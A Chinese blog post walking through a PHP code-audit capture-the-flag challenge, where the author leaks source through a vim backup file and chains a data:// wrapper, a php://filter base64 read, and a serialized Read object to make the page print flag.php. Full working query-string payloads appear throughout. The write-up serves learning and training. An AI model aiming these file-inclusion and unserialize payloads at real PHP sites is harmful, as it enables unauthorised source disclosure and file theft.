blubiu

My Love

上网不网恋,简直浪费电.


一道代码审计题目


前言:

朋友在给客户培训,然后有个题,就帮忙看看了,也是自己学习一下吧!

题目:代码审计

PHP 是世界上最好的语言,我这样说你有意见么?

Address


目录:


一道代码审计题目:

打开题目就显示一句话 you can't get flag!

然后听朋友讲,不管怎么扫都没有用,

代码审计的题目,一般是要看到源码才能审计的,

要么是扫到源码,要么就爆出源码

images


那么如果扫不到,那么就爆吧!

起初查看源代码没有任何东西,

根据经验,后面加个 ~ 波浪线 就能爆出源码,查看源代码就能看到源码了

关于为什么 ~ 波浪线 能够爆出源码

它是 Linux备份文件,用文本编辑器编辑文件时的备份文件,比如 vim 编辑文件时产生的备份文件

images


源码:

<!--
    $testa = $_GET["user"];
    $testb = $_GET["file"];
    $testc = $_GET["pass"];

if(isset($testa)&&(file_get_contents($testa,'r')==="can you get flag")){
    echo "Surprise     !<br><br><br><br>";
    include($testb); //key.php
}else{
    echo "you can't  get flag! ";
}
 -->

首先要满足两个条件,

一个是 $testa 不能为空,另外一个是 $testa 内容为 can you get flag

file_get_contents() 函数是将文件内容读入到字符串中

我们有两种方法满足这个条件,

一种是使用远程文件,另外一种是使用 data 伪协议


来尝试构造 payload

?user=data:text/plain;base64,Y2FuIHlvdSBnZXQgZmxhZw==&file=key.php

data:text/plain 表示将文件设置为纯文本的形式

base64 就是表示使用 base64编码

Y2FuIHlvdSBnZXQgZmxhZw== (can you get flag)为文本内容

这样就满足条件,然后通过 file 变量包含 key.php 文件

运行之后发现输出了 Surprise ,说明第一个条件是满足的,但是没有看到 key.php 的内容

根据以往经验,还需要使用其他伪协议来读取

images


可以使用 php://filter 协议 来读取一下 index2.php 的源码

payload: ?user=data:text/plain,base64,Y2FuIHlvdSBnZXQgZmxhZw==&file=php://filter/read=convert.base64-encode/resource=index2.php

然后成功读取到 index2.php 的内容

images


解密

images


再来看看代码

<?php

$testa = $_GET["user"];
$testb = $_GET["file"];
$testc = $_GET["pass"];

if(isset($testa)&&(file_get_contents($testa,'r')==="can you get flag")){
    echo "Surprise     !<br><br><br><br>";
    if(preg_match("/flag/",$testb)){
        exit();
    }else{
        include($testb); //class.php  
        $testc = unserialize($testc);
        echo $testc;
    }
}else{
    echo "you can't  get flag!";
}

?>

这里他使用了一个正则表达式判断 $testb 参数,

如果参数带 flag ,那么就退出

这里需要进行反序列化参数 $testc

还需要读取一个文件 ,就是 key.php


解码后 key.php 的代码

<?php
class Read{//flag.php
    public $testb;
    public function __toString(){
        if(isset($this->file)){
            echo file_get_contents($this->file);
        }
        return "__toString to killyou!";
    }
}
?>

这里 class 了一个 Read 类,用来读取 flag

__toString() 是魔术方法的一种,具体用途是当一个对象被当作字符串对待的时候,会触发这个魔术方法

思路就是将 读 flagpayload 传入到 key.php 这个页面下

这个 payload 需要 满足 $testa 、 $testb 、 $testc

$testa 要满足 can you get flag

$testb 要包含 key.php

$testc 就是读取 flag


那么 $testc 反序列化的内容怎么构造呢

首先要能够调用类 Read

然后要满足 $this->file

$this->file 就是 $_GET["file"] 参数里面的文件信息

怎么就payload就是: pass=O:4:"Read":1:{s:4:"file";s:8:"flag.php";}

那么 $this->file 就是 flag.php


整个payload就是:

?user=data:text/plain;base64,Y2FuIHlvdSBnZXQgZmxhZw==&file=key.php&pass=O:4:"Read":1:{s:4:"file";s:8:"flag.php";}

然后成功读取到 flag

flag 在源码里面

images


总结:

怎么讲,就是太菜了,一波三折

如果有什么不懂的,可以把代码弄到本地,

然后自己断点输出,这样会比较明了


参考文献:

CTF wp https://www.jianshu.com/p/879115af6fc6

data 协议 https://www.cnblogs.com/liyongquan/p/8615928.html